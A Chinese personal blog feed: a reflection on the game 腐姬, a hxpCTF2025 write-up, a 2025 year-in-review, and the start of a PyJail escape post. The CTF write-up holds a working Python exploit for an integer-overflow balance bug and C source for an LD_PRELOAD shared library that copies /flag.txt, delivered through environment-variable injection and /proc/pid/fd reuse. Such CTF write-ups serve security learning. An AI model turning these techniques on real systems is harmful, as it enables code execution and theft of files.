我想，这篇也是类似于元小说的叙事吧，只是内里的人并没有意识到自身的处境，也没有产生奇怪的行动，

当然，人们并不是因此而死亡的，这决定论的自由主义对于书中的人物来说，多是一件残酷的事，

但那也让我深深意识到到一件事，这残酷，也针对着屏幕外的我。

乡愁原意是不可达的，回不去的，但是在这里，乡愁是离不开的，也就是永远回去，永远回返，

在《腐姬》的结构里，乡愁不是怀旧，而是一种把人黏回熟悉秩序的力，共同体用它维护秘密，

循环用它覆盖现在，藏女用它诱导回返。最终，当“家”从庇护变成牢笼，

安乐死就被叙事塑造成唯一出口——这不是温柔的归乡，而是存在被故乡吞没的自噬。

我时而看着空荡荡的家，依然会浮现出那浓郁的乡愁，我清楚我害怕失去它，时常我看着家中，便会想起五树打开尘封的杂物间，斯人已然不在,遗下的只有空旷和孤寂。我 ?, 但那都是后话了...

hxpCTF2025 writeup

Wed, 31 Dec 2025 00:00:00 GMT

1.on error resume next

第一题是go的一个逻辑题，上源码:

package main

import (
	"database/sql"
	_ "embed"
	"net/http"
	"os"
	"strconv"
	"sync"
	"text/template"
	"time"

	_ "github.com/go-sql-driver/mysql"
)

type User struct {
	ID     int64
	Name   string
	Credit uint64
}

type transactions struct {
	Sender   int64
	Receiver int64
	Amount   uint64
}

//go:embed index.html
var indexHtml string
var tmpl = template.Must(template.New("index.html").Parse(indexHtml))

var db *sql.DB

//go:embed schema.sql
var dbSchema string

func initDB() {
	db, _ = sql.Open("mysql", "user:password@tcp(db)/db?multiStatements=true")

	db.SetConnMaxLifetime(time.Minute * 5)
	db.SetMaxOpenConns(1)
	db.SetMaxIdleConns(1)

	db.Exec(dbSchema)
}

func Sum(userID int64) uint64 {
	if userID == 1 { // System is always bankrupt :/
		return 0
	}

	rows, _ := db.Query("SELECT amount, receiver, sender FROM transactions")
	defer rows.Close()

	var sum uint64

	for rows.Next() {
		transactions := transactions{}
		rows.Scan(&transactions.Amount, &transactions.Receiver, &transactions.Sender)

		if transactions.Receiver == userID {
			sum += transactions.Amount
		} else if transactions.Sender == userID {
			sum -= transactions.Amount
		}
	}

	return sum
}

func main() {
	initDB()

	// Sorry, I still haven't learned DB transactions :/
	var mutex sync.Mutex

	http.HandleFunc("GET /", func(w http.ResponseWriter, r *http.Request) {
		mutex.Lock()
		defer mutex.Unlock()

		rows, _ := db.Query("SELECT name, id FROM users")
		defer rows.Close()
		var users []User

		for rows.Next() {
			user := User{}
			rows.Scan(&user.Name, &user.ID)
			users = append(users, user)
		}

		for i := range users {
			users[i].Credit = Sum(users[i].ID)
		}

		tmpl.Execute(w, struct {
			Msg   string
			Users []User
		}{
			r.URL.Query().Get("msg"),
			users,
		})
	})

	demoUserLimit := 5
	http.HandleFunc("POST /signup", func(w http.ResponseWriter, r *http.Request) {
		mutex.Lock()
		defer mutex.Unlock()

		if demoUserLimit <= 0 {
			http.Redirect(w, r, "/?msg=Demo+Version+Limit+Reached", http.StatusFound)
			return
		}
		demoUserLimit -= 1

		r.ParseForm()

		res, _ := db.Exec("INSERT INTO users (name, id) VALUES (?, ?)", r.Form.Get("name"), r.Form.Get("id"))
		id, _ := res.LastInsertId()
		db.Exec("INSERT INTO transactions (subject, amount, sender, receiver) VALUES (?, ?, ?, ?)", "Gift from the system", 10, 1, id)

		http.Redirect(w, r, "/?msg=User+Created", http.StatusFound)
	})

	http.HandleFunc("POST /transfer", func(w http.ResponseWriter, r *http.Request) {
		mutex.Lock()
		defer mutex.Unlock()

		r.ParseForm()

		sender, _ := strconv.ParseInt(r.Form.Get("sender"), 10, 64)
		amount, _ := strconv.ParseUint(r.Form.Get("amount"), 10, 64)

		sum := Sum(sender)

		if sum < amount {
			http.Redirect(w, r, "/?msg=Too+Poor+For+Transfer", http.StatusFound)
			return
		}

		db.Exec("INSERT INTO transactions (receiver, sender, subject, amount) VALUES (?, ?, ?, ?)", r.Form.Get("receiver"), sender, r.Form.Get("subject"), amount)
		http.Redirect(w, r, "/?msg=Transferred", http.StatusFound)
	})

	http.HandleFunc("POST /flag", func(w http.ResponseWriter, r *http.Request) {
		mutex.Lock()
		defer mutex.Unlock()

		r.ParseForm()

		id, _ := strconv.ParseInt(r.Form.Get("id"), 10, 64)
		sum := Sum(id)
		if sum >= 1337 {
			flag, _ := os.ReadFile("flag.txt")

			http.Redirect(w, r, "/?msg="+string(flag), http.StatusFound)
			return
		}

		http.Redirect(w, r, "/?msg=Too+Poor+For+Flag", http.StatusFound)
	})

	http.ListenAndServe(":13371", nil)
}

我们一点点看，只要user的amount大于1337就可以买flag，详情见这个

	sum := Sum(id)
	if sum >= 1337 {
		flag, _ := os.ReadFile("flag.txt")

而sum的是sum函数片段，在这里

func Sum(userID int64) uint64 {
	if userID == 1 { // System is always bankrupt :/
		return 0
	}
rows, _ := db.Query("SELECT amount, receiver, sender FROM transactions")
defer rows.Close()

var sum uint64

for rows.Next() {
	transactions := transactions{}
	rows.Scan(&transactions.Amount, &transactions.Receiver, &transactions.Sender)

	if transactions.Receiver == userID {
		sum += transactions.Amount
	} else if transactions.Sender == userID {
		sum -= transactions.Amount
	}
}

return sum

这种算钱的问题其实可以注意一点就是他们的单位差异，这里var sum uint64，把sum定义为一个uint64的空字符，开始的时候肯定找各种问题，但是这里其实都不行，首先这里

type User struct {
	ID     int64
	Name   string
	Credit uint64
}

type transactions struct {
	Sender   int64
	Receiver int64
	Amount   uint64
}

定义了user和交易表，然后看sql文件

DROP TABLE IF EXISTS transactions;
DROP TABLE IF EXISTS users;

CREATE TABLE users (
    id SERIAL,
    name VARCHAR(255)
);
INSERT INTO users(name, id) VALUES ('System', 1);

CREATE TABLE transactions (
    sender BIGINT unsigned NOT NULL,
    subject VARCHAR(255) NOT NULL,
    amount BIGINT unsigned NOT NULL,
    receiver BIGINT unsigned NOT NULL,
    FOREIGN KEY (sender) REFERENCES users(id),
    FOREIGN KEY (receiver) REFERENCES users(id),
    CHECK (receiver <> sender)
);

这里定义的amout没有范围，receiver也没范围限制，但是上面的user的id，sender是int64,是有范围的，那么我们就要看看这个id什么时候定义到这个int64上，在这

for rows.Next() {
	transactions := transactions{}
	rows.Scan(&transactions.Amount, &transactions.Receiver, &transactions.Sender)if transactions.Receiver == userID {
	sum += transactions.Amount
} else if transactions.Sender == userID {
	sum -= transactions.Amount
}

匹配谁是收款还是付款方的一个逻辑，但是这里的scan的时候有可能会出error，因为两个数据能容纳的最大大小不一样，database能容纳无限，但是int64最大只能9223372036854775807，如果超出最大会报错，所以，在amount我们输入的值后查询receiver报错后会把后面返回0，然后又因为下面的获取表单

	sender, _ := strconv.ParseInt(r.Form.Get("sender"), 10, 64)
	amount, _ := strconv.ParseUint(r.Form.Get("amount"), 10, 64)

	sum := Sum(sender)

刚刚看了半天理解了，我脑子坏了也是，这么简单业务逻辑不明白，就是sum是检查余额，然后全表查询那个转账方，如果有转出就扣钱，转入就加钱，就是他是动态的一个过程，然后我们把这一行查询全表给炸了

rows.Scan(&transactions.Amount, &transactions.Receiver, &transactions.Sender)

前面钱是对得然后后面的接收方直接不符合int64规范报错，然后又没有重定向这个error导致后面俩都成了0，结果就是没有查到一点东西，然后下面这里

	sum := Sum(sender)

	if sum < amount {

这个余额检查就通过了，然后就是

		db.Exec("INSERT INTO transactions (receiver, sender, subject, amount) VALUES (?, ?, ?, ?)", r.Form.Get("receiver"), sender, r.Form.Get("subject"), amount)

插入数据库，但是下次余额检验又能通过，然后最后有非常多的转入同一账号的余额，到买flag的时候，就是这里，补充一下为什么最后买flag的是用户0，因为买flag的余额检验Receiver收款方还是会把报error也就是0，然后所有0都匹配了加钱

sum := Sum(id)
		if sum >= 1337 {
			flag, _ := os.ReadFile("flag.txt")

这正常查询，然后直接爽爽拿flag

补补exp:

import requests

BASE = "http://10.244.0.1:13371"
OVER = "9223372036854775808"

s = requests.Session()

def post(path, data):
    r = s.post(BASE + path, data=data, allow_redirects=False, timeout=5)
    return r.status_code, r.headers.get("Location", "")

# signup sender=2 (gets 10)
post("/signup", {"name":"a", "id":"2"})
# signup overflow receiver (only for FK)
post("/signup", {"name":"b", "id":OVER})

# pump Sum(0) by making receiver scan overflow
for _ in range(134):
    post("/transfer", {"sender":"2", "receiver":OVER, "subject":"x", "amount":"10"})

# get flag using id=0
r = s.post(BASE + "/flag", data={"id":"0"}, allow_redirects=True, timeout=5)
print("final_url:", r.url)      # /?msg=flag...
print("body_snip:", r.text[:200])

2.Dateiservierer

一样的Go，但是难度高了很多，先贴源码

frontend.go

package main

// frontend.go 详细注释说明：
// 该程序是一个轻量的前端守护进程，用来为每个用户会话启动一个后端二进制 `ds`：
// - 每次通过 POST 提交参数时，程序把表单字段转为环境变量并生成一个随机会话 ID（session），
//   将 SESSION=<session> 以及用户提供的其他字段放到新进程的环境中启动 `./ds`。
// - 后端 `ds` 以 unix domain socket 的方式在 /tmp/ds-<session>.socket 上监听。为了把 HTTP
//   请求路由到相应的 unix socket，前端使用了一个自定义的 Dial（`unixDialer`），它把
//   目标主机名（session）映射到对应的 socket 路径。
// - 前端为每个会话创建一个 `httputil.ReverseProxy`，并把它保存在 `backends` 中，随后
//   把来自浏览器的请求代理到对应的后端。
// 重要注意事项：程序通过启动外部二进制并依赖本地 unix socket 做进程间通信，适用于
// 在同一台机器上以短生命周期进程隔离请求的场景（比如 CTF 服务隔离）。

import (
	"crypto/rand"
	"encoding/hex"
	"log"
	"net"
	"net/http"
	"net/http/httputil"
	"net/url"
	"os"
	"os/exec"
	"strings"
	"sync"
	"time"
)

type unixDialer struct {
	net.Dialer
}

func (d *unixDialer) Dial(network, address string) (net.Conn, error) {
	// 自定义 Dial：ReverseProxy 会传入类似 "session:80" 的 address，
	// 我们只取 host 部分（即 session），并把它映射为本地 unix socket 路径：
	//   /tmp/ds-<session>.socket
	// 这样当 ReverseProxy 要与后端建立连接时，会连接到对应会话的 unix socket。
	// network 参数（比如 "tcp"）被忽略，统一通过 unix socket 连接。
	return d.Dialer.Dial("unix", "/tmp/ds-"+strings.Split(address, ":")[0]+".socket")
}

var transport http.RoundTripper = &http.Transport{
	Proxy: http.ProxyFromEnvironment,
	Dial:  (&unixDialer{net.Dialer{Timeout: 5 * time.Second}}).Dial,
}

// backends 存储会话 ID -> ReverseProxy 的映射，用于把请求转发到对应的后端进程
// key: session（hex 字符串），value: 对应 session 的 ReverseProxy（负责把请求发到 unix socket）。
// 使用 sync.Map 以便并发访问（读多写少的场景）。当后端进程退出时，会从该 map 中删除对应项。
var backends sync.Map

func NewDS(config []string) string {
	bytes := make([]byte, 32)
	if _, err := rand.Read(bytes); err != nil {
		return ""
	}
	session := hex.EncodeToString(bytes)
	config = append(config, "SESSION="+session)
	// 在新 goroutine 中启动后端二进制 `ds`，并传入环境变量
	// 当 `ds` 进程退出后，从 backends 中移除对应会话
    // 启动后端进程（不会阻塞当前 goroutine）
    // - 使用 exec.Command 启动可执行文件 ./ds
    // - 通过 cmd.Env 把当前环境和传入的 config 合并传给子进程
    // - 当 cmd.Run 返回（子进程退出）时，删除 backends 中对应的 session 映射
	go func() {
		cmd := exec.Command("./ds")
		cmd.Env = append(os.Environ(), config...)

		cmd.Run()
		backends.Delete(session)
	}()

	// 通过 session 构造一个伪造的 URL 主机名，ReverseProxy 会使用该主机名
	// 我们自定义的 Dial 会把这个 host 映射到本地的 unix socket
    // 为该 session 创建一个 ReverseProxy：我们通过构造 URL "http://<session>" 来设置
    // proxy 的 Target host。ReverseProxy 在发起连接时会使用上面自定义的 Dial，
    // 因此会去连接 /tmp/ds-<session>.socket。
	url, err := url.Parse("http://" + session)
	if err != nil {
		return ""
	}
	proxy := httputil.NewSingleHostReverseProxy(url)
	proxy.Transport = transport

	backends.Store(session, proxy)
	return session
}

func main() {
	// POST /: 接收表单，按键值对拼接成环境变量，启动后端并设置 session cookie
    // POST /: 接收表单并启动新的后端会话
    // 请求参数示例： files=index.html&foo=bar
    // 会把每个参数转换成环境变量形式传给后端（key=value），并生成一个随机 session
    // 将 session 写入浏览器 cookie（有效期 180 秒），然后短暂停顿（等待后端启动）再重定向回 GET /
	http.HandleFunc("POST /", func(w http.ResponseWriter, r *http.Request) {
		r.ParseForm()

		fields := []string{}
		for key, value := range r.Form {
			// 把表单参数拼为 key=val 的形式传入后端环境
            // 将多值字段用逗号连接，形成 key=val1,val2 的形式
			fields = append(fields, key+"="+strings.Join(value, ","))
		}

		cookie := &http.Cookie{Name: "session", Value: NewDS(fields), Path: "/", Expires: time.Now().Add(180 * time.Second)}
		http.SetCookie(w, cookie)
		// 给后端一点时间启动，再重定向回首页
		time.Sleep(time.Second * 2)
		http.Redirect(w, r, "/", http.StatusFound)
	})

	// GET /: 若有 session cookie，则把请求代理到对应后端；否则显示上传表单
    // GET /: 如果浏览器存在 session cookie，则查找对应的 ReverseProxy 并代理请求到后端；
    // 如果没有 session（或对应后端已退出），则返回一个简单的 HTML 界面，允许用户提交要提供的文件列表
	http.HandleFunc("GET /", func(w http.ResponseWriter, r *http.Request) {
		session := ""
		if cookie, err := r.Cookie("session"); err == nil {
			session = cookie.Value
		}

		proxy, ok := backends.Load(session)

		if !ok {
			// 未找到后端，会话不存在时返回简单的 HTML 表单
            // 当没有可用后端时显示表单给用户
			w.Write([]byte(`<html><h1>Dateiservierer</h1>
					<label>Files</label>
					<button onclick="window.form.innerHTML = '<input name=files><br>' + window.form.innerHTML">➕</button>
					<form method=POST id=form>
						<input name=files value=index.html><br>
						<input type=submit value="Bitte servieren Sie">
					</form>
					`))
			return
		}
		// 将请求转发到已启动的后端进程
		proxy.(*httputil.ReverseProxy).ServeHTTP(w, r)
	})

	srv := &http.Server{
		ReadTimeout:  5 * time.Second,
		WriteTimeout: 5 * time.Second,
		IdleTimeout:  10 * time.Second,
		Handler:      http.DefaultServeMux,
		Addr:         ":1024",
	}
	log.Println(srv.ListenAndServe())
}

ds.go

package main

import (
	"io"
	"net"
	"net/http"
	"os"
	"strconv"
	"strings"
	"time"
)

// ds.go 注释说明：
// 这是后端二进制的源代码（被 frontend.go 启动），职责是：
// - 从环境变量 `files` 读取一个以逗号分隔的文件列表（可以是本地路径或 http(s) URL），
// - 在 unix domain socket `/tmp/ds-<SESSION>.socket` 上提供一个简单的 HTTP 服务，
//   客户端可以通过 query 参数 `file=<index>&resume=<offset>` 来请求文件内容或续传。
// - 每次最多读取并返回 8 MiB 数据；当 file 路径包含 "flag" 时，返回 401 以保护敏感文件。
// - 程序在启动 180 秒后自动退出，以便短生命周期会话模型（由 frontend 管理）。

var files = strings.Split(os.Getenv("files"), ",")

var client = &http.Client{
	Timeout: 5 * time.Second,
}

// `files` 变量：从环境变量 `files` 获取，以逗号分隔的路径或 URL 列表。
// 注意：如果环境变量为空，strings.Split 会返回 [""], 请确保 frontend 在启动时传入合法参数。

// `client` 用于从远程 URL 下载文件，设置了 5 秒超时以防止长时间挂起。

func fileHandler(w http.ResponseWriter, req *http.Request) {
	// 解析要访问的文件索引（来自 query 参数 file）
	fileIndex, _ := strconv.Atoi(req.URL.Query().Get("file"))
	// 使用取模以防 index 越界（安全防护，确保总能映射到 files 中某个项）
	filePath := files[fileIndex%len(files)]

	// 简单的敏感词检查：如果路径中包含 "flag"，返回 401，阻止直接读取 flag 文件
	if strings.Contains(filePath, "flag") {
		http.Error(w, "flag :(", http.StatusUnauthorized)
		return
	}

	var fd io.ReadSeekCloser

	// 支持两种来源：远程 URL（http/https）或本地文件路径
	if strings.HasPrefix(filePath, "http://") || strings.HasPrefix(filePath, "https://") {
		// 从远程下载到临时文件再读取，避免直接在内存中持有大文件
		resp, err := client.Get(filePath)
		if err != nil {
			http.Error(w, "Get :(", http.StatusInternalServerError)
			return
		}
		defer resp.Body.Close()

		// 创建临时文件存储下载内容；会在函数退出前删除临时文件
		tempFile, err := os.CreateTemp("", "download")
		if err != nil {
			http.Error(w, "CreateTemp :(", http.StatusInternalServerError)
			return
		}
		defer os.Remove(tempFile.Name())
		// 复制最多 8 MiB 的数据到临时文件，防止下载超大文件耗尽资源
		io.Copy(tempFile, io.LimitReader(resp.Body, 8*1024*1024))

		fd = tempFile
	} else {
		// 直接打开本地文件
		file, err := os.Open(filePath)
		if err != nil {
			http.Error(w, "Open :(", http.StatusInternalServerError)
			return
		}
		fd = file
	}

	// 确保在返回前关闭文件描述符
	defer fd.Close()

	// 支持续传：从 query 参数 resume 读取偏移量（字节）并 seek 到该位置
	r, _ := strconv.ParseInt(req.URL.Query().Get("resume"), 10, 64)
	fd.Seek(r, io.SeekStart)
	// 最多向客户端写入 8 MiB 数据
	io.Copy(w, io.LimitReader(fd, 8*1024*1024))
}

func main() {
	// 设置一个 180 秒的定时器：到时退出进程，配合 frontend 的会话生命周期管理
	time.AfterFunc(180*time.Second, func() {
		os.Exit(0)
	})

	// 从环境中读取 SESSION（由 frontend 在启动时传入），这是 unix socket 名称的一部分
	session, ok := os.LookupEnv("SESSION")
	if !ok {
		panic("SESSION env not set")
	}

	// 将根路径的 GET 请求交给 fileHandler 处理
	http.HandleFunc("GET /", fileHandler)

	// 在 /tmp/ds-<session>.socket 上监听 unix domain socket，frontend 的自定义 Dial
	// 会根据 session 名称连接到这个 socket，从而实现 HTTP over unix socket 的反向代理
	unixListener, err := net.Listen("unix", "/tmp/ds-"+session+".socket")
	if err != nil {
		panic(err)
	}
	// 使用 http.Serve 把 unix socket 升级为 HTTP 服务
	http.Serve(unixListener, nil)
}

这个真的很有意思，让我们先来看看两个主路由，

func main() {
	// POST /: 接收表单，按键值对拼接成环境变量，启动后端并设置 session cookie
    // POST /: 接收表单并启动新的后端会话
    // 请求参数示例： files=index.html&foo=bar
    // 会把每个参数转换成环境变量形式传给后端（key=value），并生成一个随机 session
    // 将 session 写入浏览器 cookie（有效期 180 秒），然后短暂停顿（等待后端启动）再重定向回 GET /
	http.HandleFunc("POST /", func(w http.ResponseWriter, r *http.Request) {
		r.ParseForm()

		fields := []string{}
		for key, value := range r.Form {
			// 把表单参数拼为 key=val 的形式传入后端环境
            // 将多值字段用逗号连接，形成 key=val1,val2 的形式
			fields = append(fields, key+"="+strings.Join(value, ","))
		}

		cookie := &http.Cookie{Name: "session", Value: NewDS(fields), Path: "/", Expires: time.Now().Add(180 * time.Second)}
		http.SetCookie(w, cookie)
		// 给后端一点时间启动，再重定向回首页
		time.Sleep(time.Second * 2)
		http.Redirect(w, r, "/", http.StatusFound)
	})

	// GET /: 若有 session cookie，则把请求代理到对应后端；否则显示上传表单
    // GET /: 如果浏览器存在 session cookie，则查找对应的 ReverseProxy 并代理请求到后端；
    // 如果没有 session（或对应后端已退出），则返回一个简单的 HTML 界面，允许用户提交要提供的文件列表
	http.HandleFunc("GET /", func(w http.ResponseWriter, r *http.Request) {
		session := ""
		if cookie, err := r.Cookie("session"); err == nil {
			session = cookie.Value
		}

		proxy, ok := backends.Load(session)

		if !ok {
			// 未找到后端，会话不存在时返回简单的 HTML 表单
            // 当没有可用后端时显示表单给用户
			w.Write([]byte(`<html><h1>Dateiservierer</h1>
					<label>Files</label>
					<button onclick="window.form.innerHTML = '<input name=files><br>' + window.form.innerHTML">➕</button>
					<form method=POST id=form>
						<input name=files value=index.html><br>
						<input type=submit value="Bitte servieren Sie">
					</form>
					`))
			return
		}
		// 将请求转发到已启动的后端进程
		proxy.(*httputil.ReverseProxy).ServeHTTP(w, r)
	})

可以看到cookie := &http.Cookie{Name: "session", Value: NewDS(fields), Path: "/", Expires: time.Now().Add(180 * time.Second)}，这个NewDS函数我们可以溯源一下.

func NewDS(config []string) string {
	bytes := make([]byte, 32)
	if _, err := rand.Read(bytes); err != nil {
		return ""
	}
	session := hex.EncodeToString(bytes)
	config = append(config, "SESSION="+session)
	// 在新 goroutine 中启动后端二进制 `ds`，并传入环境变量
	// 当 `ds` 进程退出后，从 backends 中移除对应会话
    // 启动后端进程（不会阻塞当前 goroutine）
    // - 使用 exec.Command 启动可执行文件 ./ds
    // - 通过 cmd.Env 把当前环境和传入的 config 合并传给子进程
    // - 当 cmd.Run 返回（子进程退出）时，删除 backends 中对应的 session 映射
	go func() {
		cmd := exec.Command("./ds")
		cmd.Env = append(os.Environ(), config...)

		cmd.Run()
		backends.Delete(session)
	}()

这个session在原来状态下直接传入os.environ，而这个cmd对象就是ds.go，我们可以直接更改他的环境变量，ok，我们继续看逻辑，然后看看传入fs.go的东西会怎么处理

var files = strings.Split(os.Getenv("files"), ",")

var client = &http.Client{
	Timeout: 5 * time.Second,
}
func fileHandler(w http.ResponseWriter, req *http.Request) {
	// 解析要访问的文件索引（来自 query 参数 file）
	fileIndex, _ := strconv.Atoi(req.URL.Query().Get("file"))
	// 使用取模以防 index 越界（安全防护，确保总能映射到 files 中某个项）
	filePath := files[fileIndex%len(files)]

	// 简单的敏感词检查：如果路径中包含 "flag"，返回 401，阻止直接读取 flag 文件
	if strings.Contains(filePath, "flag") {
		http.Error(w, "flag :(", http.StatusUnauthorized)
		return
	}

	var fd io.ReadSeekCloser

	// 支持两种来源：远程 URL（http/https）或本地文件路径
	if strings.HasPrefix(filePath, "http://") || strings.HasPrefix(filePath, "https://") {
		// 从远程下载到临时文件再读取，避免直接在内存中持有大文件
		resp, err := client.Get(filePath)
		if err != nil {
			http.Error(w, "Get :(", http.StatusInternalServerError)
			return
		}
		defer resp.Body.Close()

		// 创建临时文件存储下载内容；会在函数退出前删除临时文件
		tempFile, err := os.CreateTemp("", "download")
		if err != nil {
			http.Error(w, "CreateTemp :(", http.StatusInternalServerError)
			return
		}
		defer os.Remove(tempFile.Name())
		// 复制最多 8 MiB 的数据到临时文件，防止下载超大文件耗尽资源
		io.Copy(tempFile, io.LimitReader(resp.Body, 8*1024*1024))

		fd = tempFile
	} else {
		// 直接打开本地文件
		file, err := os.Open(filePath)
		if err != nil {
			http.Error(w, "Open :(", http.StatusInternalServerError)
			return
		}
		fd = file
	}

我们原来上传的file字段的值是直接append到environ的，这里ds就是直接从environ中取出file字段的值，然后检查这里有没有含flag字段，如果没有就直接os.open(filepath)，在这里我原来是想了挺久怎么弄,虽然代码有其他可达的地方要考虑，不过吧，总是一个试错的过程，因为os调用的还是linux的一个解析规则，所以并不会对字符unicode或者是其他编码的字符进行归一化，所以这条路基本封死的，那我们看看我们还能控制什么，还有一个远程下载的，也就是说如果传入环境变量开头的是http开头就下载那个对应文件，这样我们可以控制环境变量，那是不是能控制LD_PRELOAD字段去预加载.so文件带出flag呢，当然也有限制，就是最多下载8mb，并且client变量还规定了只能5秒的下载时长，超时了就会退出，但是我们看看，这个client规定的是5秒退出，而这个模块是独立运行的，然后下载完立马删除，但是这里我们看

func main() {
	// 设置一个 180 秒的定时器：到时退出进程，配合 frontend 的会话生命周期管理
	time.AfterFunc(180*time.Second, func() {
		os.Exit(0)
	})

180秒执行一次os.exit，那么只要在我们下载中途卡点180秒就会把后面的defer预加载函数截断，那样就能进行绕过，也就是说我们的文件被传入临时文件之后不会被删除，并且还会打开一个fd文件句柄，这样就能进行下一步操作，但是文件名是随机的，这又怎么办呢，如果不知道文件名就没法创建LD_PRELOAD字段指向.so了，我们要知道linux的fd的一个特性，/proc/<pid>/fd/<fd> 是一个特殊路径，它代表“该进程打开着的那个文件”。，那就可以直接构造那个LD_PRELOAD指向的路径，那么就下一次直接传编译过的.so,并且因为需要延时就加了点东西让他下载更慢，以下是 .so编译前的样子:

#define _GNU_SOURCE
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>

__attribute__((constructor))
static void init() {
    int in = open("/flag.txt", O_RDONLY);
    if (in < 0) return;

    int out = open("/tmp/leak", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    if (out < 0) { close(in); return; }

    char buf[4096];
    ssize_t n;
    while ((n = read(in, buf, sizeof(buf))) > 0) {
        write(out, buf, (size_t)n);
    }
    close(in);
    close(out);
}

这个就是预加载把flag.txt写进我们可读的形式，然后我们就可以拿到flag了，贴下奇怪的flag哈哈

hxp{🍺🍻🍹🍾🍼es  ist angerichtet ... go fetch it yourself🤡🤹🏻‍♂️🤸🏿‍♀️.}

至于怎么知道哪个fd是我们编译的.so文件呢，这里提一嘴，.so编译后的开头是\x7fELF，可以通过脚本返回的text去找.so在哪个fd里，还有可以从/proc/self/sts查一些进程信息。

不过其实还有另一条路是可以走的，那就是更狠的条件竞争，在下载的时候直接进行fd爆破，因为开头几个字节下载时间会很短，所以匹配会很容易，然后与此同时上传LD_PRELOAD字段到environ指向那个fd，然后同时get请求拿到写入到别的目录的flag，不过后者对网络要求更高。

才疏学浅哈哈，打出来两题，写完wp还有1个多小时就2026了，要干什么呢~~~

2025-2026萦梦sora的年度总结

Mon, 29 Dec 2025 00:00:00 GMT

🍬 前言

2025年对我来说，不平淡还充满着坎坷，虽然记忆时常会中断很厉害，但是总归是顺利度过了吧~

🧭 高中历程

在2025年初我想起来还是听着morgana的那首歌跨年的,今年跨年还想那么做，

上半年紧张的高中生涯终究是拉下了帷幕，有时候有些青春逝去的感觉吧，

高三后半年是自不用说的，压力巨大，在中国教育体系下也没有什么办法，想那时候还是对自己灌输了很多理念吧，

不然也走不下去，虽然这样，在假期中我还是一直在开发一些新的领域，

做一些新的尝试，不过那时候还是会一直认为自己做的不够好吧，我还是很会压力自己的haha🍇

❄️爱好

因为受很多方面的影响，我很喜欢计算机或者科技数码的东西，其实不止这一年，

这几年有时间都会捣鼓乱七八糟的东西，也接触了很多，喜欢玩各种各样的东西。

在VRC有需要的时候学了3Dunity，blender，然后后面为了生产力创作学了sd，摄影，lr，

我的爱好更多会和我自身契合，也一直在弹电吉他，大学还去了乐队不过因为没时间退了，

总的来说，我会想维持住我的一些创造力去支持我的创作。其实现在回看，更多的我是在拓宽认知面吧，

在高中也一直在探寻自身，直到找到自己的理想和事业，这也和我追求的东西息息相关。

话说我是很喜欢玩游戏的，挺倾向于在游戏中去体会故事，不论是视觉小说还是rpg,独立游戏又或者是3a，

也是存在很多情愫吧对我来说，今年推的最爱估计是P4G了👒，乡村日常真的很棒...

以前会一直纠结一些形而上或者是虚无主义的问题，现在看反而是很不重要了，我想我是从那囚笼中出来了吧。

陪伴✨

我很喜欢安静和孤独的氛围，这很常见，但是我一直在拓宽一些媒介去达到自己理想的思考或者冥想环境，

就比如说，VRC？VRC很多场景我都很喜欢，我有的时候是把它当做我虚拟的小家了吧，

而且也结识了一些珍重的人，对吧Do2mi~, 经常在晚上忙完的时候去VRC旅行，之前还为了这个去配了4090，

现在来看，网安用这个续航还是太短了💻。VRC和一些视觉小说的人，

比如海馆的morgana，去人たち的意识载体，其实无形之中都在影响着我，

让我挺过难熬的高三生涯，那时压力大的时候我还会写各种诗词，这里挑一首中原中也的春日狂想，

也是我比较喜欢的

愛するものが死んだ時には、自殺しなけあなりません。

愛するものが死んだ時には、それより他に、方法がない。

けれどもそれでも、業が深くて、なほもながらふことともなつたら、

奉仕の気持に、なることなんです。奉仕の気持に、なることなんです。

愛するものは、死んだのですから、たしかにそれは、死んだのですから、

もはやどうにも、ならぬのですから、そのもののために、そのもののために、

奉仕の気持に、ならなけあならない。奉仕の気持に、ならなけあならない。

VRC其实也很好锻炼一些外语，也交了一些欧洲和日本的朋友，其实来年还是很想考N1的，紧张备考中...🧊

大学🍜

大学很好开发一个人的过往和成长，到大学我就一直在弄网络安全，进了学校的网安实验室，也在新生赛拿了校一，

后面也陆陆续续打了很多比赛，虽然说到了大学会很忙，爱好时间会少很多，但是很充实，

并且在网安方面其实我是深受lain的影响的，我的确向往平静的生活，但是我想也需要有守护这份初心的能力，

于是顺理成章的前进着，不断学习，也不断成长。最近也是在vnmini比赛后成功进了V&N联队，

也希望我早点可以产出东西哈哈，因为现在除了网络安全还要备考心理学相关的，有时候还是有点头大，

不过好歹我对这些都有兴趣，就不做赘述了.🥓

🎂旅行

特地放了一个特别的板块，其实这样意义对于我来说也很特别，在8月份我一个人去了日本，从冈山到高松，

再到淡路岛，再到明石，神户，再到东京，然后是埼玉县的下吉田和秩父市，在日本度过了11天，

漫长又美好的时光，因为是一个人所以行程极其自由，吃饭住宿交通都是自己解决，

这次旅行对我来说我想意义还是很大的，见到了很多记忆中的映像，也去巡礼了一些视觉小说和动画，

比如水仙和星之梦，CLANNAD，石头门，P4G，summer pockets，都是回忆吧，

那边小城的氛围给我感觉都是冷冷清清，节奏也很慢，很喜欢这种感觉，之后还想去明石呆呆.

🍿结束碎碎念

好了都到这了，还是总结几句，其实上半年那高压氛围的记忆已经很多缺失了，不过也没啥人生是完整的，

谁知道明天是不是我，我在不断死去，不过这也不重要了，因为我也看不到那一刻，

还有，高中生涯结束之后我才会去怀念，高中的我明显是缺失着一些东西的，但是缺失那些事物的也是美丽的，

因为我再也无法回到当时了，人总是要向前看的。至于来年~，希望网安我能强得离谱吧哈哈

关于PyJail绕过姿势思考(1)

Mon, 22 Dec 2025 00:00:00 GMT

关于PyJail的绕过姿势思考

灵感来源于LamentXU给我关于SCEEON一题沙箱逃逸的payload，我在想接触了PyJail的类型也不算太少了，

也得浅浅总结一下。从SSTI开始说，服务器模板渲染，

我们需要的是绕过题目或真实环境给我们设置的限制去rce或者写文件到可读目录，触发点比较基础的是templete_render,这一块只先写写python，

一般来说无限制的情况下，过程大致就是拼接拿到动态os，又或者是拿到内置模块__builtins__，这里就不做赘述。

然后再上升为pyjail，ssti的绕过的进阶了有点像，pyjail我目前接触的其实还是贫乏，主要强调基础为主，

python一切都可是对象，而对象都有类为对应蓝图，就是类，而类又共通，可以去顺着链条去找他们的类的命名空间，

这样就能找到可以执行命令的类，然后可以找初始化类的方法，去找函数命名空间globals啊，然后是模块，这个我个人认为是最难理解的，

模块呢它也是类，每一个文件，文件夹创建，就会返回模块，格式像<'class s'><'module a'>之类的，

然后呢一个对象的属性合集是__dict__，dict里有class，module，那都是dict的属性的一部分，当然这都是原理。

